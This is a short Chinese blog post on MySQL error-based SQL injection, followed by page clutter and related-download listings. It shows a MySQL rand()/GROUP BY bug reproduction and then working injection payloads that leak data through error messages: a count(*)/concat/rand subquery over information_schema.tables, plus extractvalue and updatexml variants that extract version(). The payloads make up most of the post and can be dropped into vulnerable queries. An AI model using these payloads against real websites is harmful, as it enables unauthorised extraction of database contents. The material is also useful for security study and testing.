`
to8to-bruce
  • 浏览: 7137 次
社区版块
存档分类
最新评论

mysql暴错注入

 
阅读更多

mysql的一个bug http://bugs.mysql.com/bug.php?id=8652

 

重现过程

use mysql;

create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
select left(rand(),3),a from r1 group by 1;

 

 select left(rand(),3),a, count(*) from r1 group by 1;
select round(rand(1),1)  ,a, count(*) from r1 group by 1;
 

 

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

 

mysql5.1以上支持xml操作 还可以这样玩

mysql> select user from mysql.user where user='root' and extractvalue(1, concat(0x5c, (select version())));

 

 

mysql> select user from mysql.user where user='root' and (updatexml(1,concat(0x5e24,(select version()),0x5e24),1));

分享到:
评论

相关推荐

    Mysql暴错注入参考陆小马功钟浩.pdf

    Mysql暴错注入参考陆小马功钟浩.pdf

    mysql注入提权命令

    本文主要讲述了 mysql 注入高级暴库用户密码的方法,涉及到 mysql 中的 SCHEMATA 库。 知识点一:判断 mysql 版本 mysql 的版本可以通过使用 union select 来猜解,例如 ...

    MYSQL高级注入教程

    pczygx PC资源共享 MYSQL 高级注入 教程 渗透教程 第一课 MYSQL基础教学I 第二课 MYSQL基础教学II 第三课 MYSQL基础教学III ...第五课 手工注入-MYSQL5.0暴库 第六课 手工注入-MYSQL注入高级技巧

    MySQL五种报错注入1

    MySQL五种报错注入是一种利用数据库的错误反馈信息来获取敏感数据的技术,通常在网站存在SQL注入漏洞时被攻击者利用。以下将详细介绍这些方法: 1. **数据库版本暴露** 利用`information_schema.tables`系统表和`...

    PHP+MYSQL注入

    ### PHP+MYSQL注入详解 #### 一、PHP与MYSQL注入概念 PHP与MYSQL注入是一种常见的Web应用程序安全漏洞,攻击者可以通过这种漏洞向数据库发送恶意SQL命令。PHP是一种广泛使用的脚本语言,通常用来构建动态网站或Web...

    MYSQL注入语句累积

    MYSQL 注入语句累积 MYSQL 注入语句累积是指攻击者通过构造特殊的 SQL 语句,Inject 到数据库中,从而获取敏感信息或控制数据库。在MYSQL 中,攻击者可以通过使用 UNION 语句、子查询、内置函数等方式来实现注入...

    PHP+MySQL 手工注入语句大全 推荐

    【PHP+MySQL手工注入语句】是Web安全领域的一个重要话题,主要涉及到SQL注入攻击,这是一种常见的黑客手段,用于利用不安全的SQL查询获取数据库中的敏感信息或执行恶意操作。以下是一些常用的PHP+MySQL手工注入语句...

    Sqlmap 注入神器 支持各种sql注入

    - 暴库与数据导出:Sqlmap可以快速将数据库中的所有表和数据导出,进行“暴库”操作。 - 命令执行:在某些情况下,Sqlmap还可以利用SQL注入执行操作系统命令,进一步扩大攻击范围。 - 控制数据库:攻击者可以通过...

    MySQLDBA运维笔记.pdf

    mysql 总结........................................................................................................................................6 1.1 数据库的种类.......................................

    手工注入常用SQL语句笔记.docx

    手工注入常用 SQL 语句笔记 ...手工注入常用 SQL 语句笔记对 MySQL 和 MSSQL 两种数据库管理系统进行了详细的介绍,涵盖了注入原理、实战心得、判断数据库类型、常用内置函数使用、数据库的扩展存储过程等方面的内容。

    php盲注暴表语句

    - **解析**:该脚本利用`GROUP BY`和`LIMIT`结合`RAND()`函数,构造了一个能够返回MySQL版本号的SQL注入语句。其中,`@@version`表示MySQL的版本号。 - **应用场景**:用于获取目标网站所使用的MySQL版本信息,...

    WEB常见漏洞与挖掘技巧研究.pptx

    * 容错处理(暴错注入) * 最小权限(目前,非常多 root) 二、 XSS/CSRF 跨站脚本、跨站请求伪造 XSS/CSRF 是 WEB 安全中另一个常见的漏洞,它可以给攻击者带来许多惊喜。 案例:某团购网的 XSS 漏洞,攻击者...

    DB权限暴出网站物理路径代码.txt

    根据提供的文件信息,本文将详细解释与“DB权限暴出网站物理路径代码”相关的知识点,包括数据库权限的概念、代码分析及安全防范措施等。 ### 数据库权限基础 数据库权限是数据库管理系统(DBMS)用于控制用户对...

    sqlmap使用文档

    SQLMap支持多种数据库系统,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase以及SAP MaxDB等。 #### 二、环境配置 为了使用SQLMap,首先需要确保具备...

Global site tag (gtag.js) - Google Analytics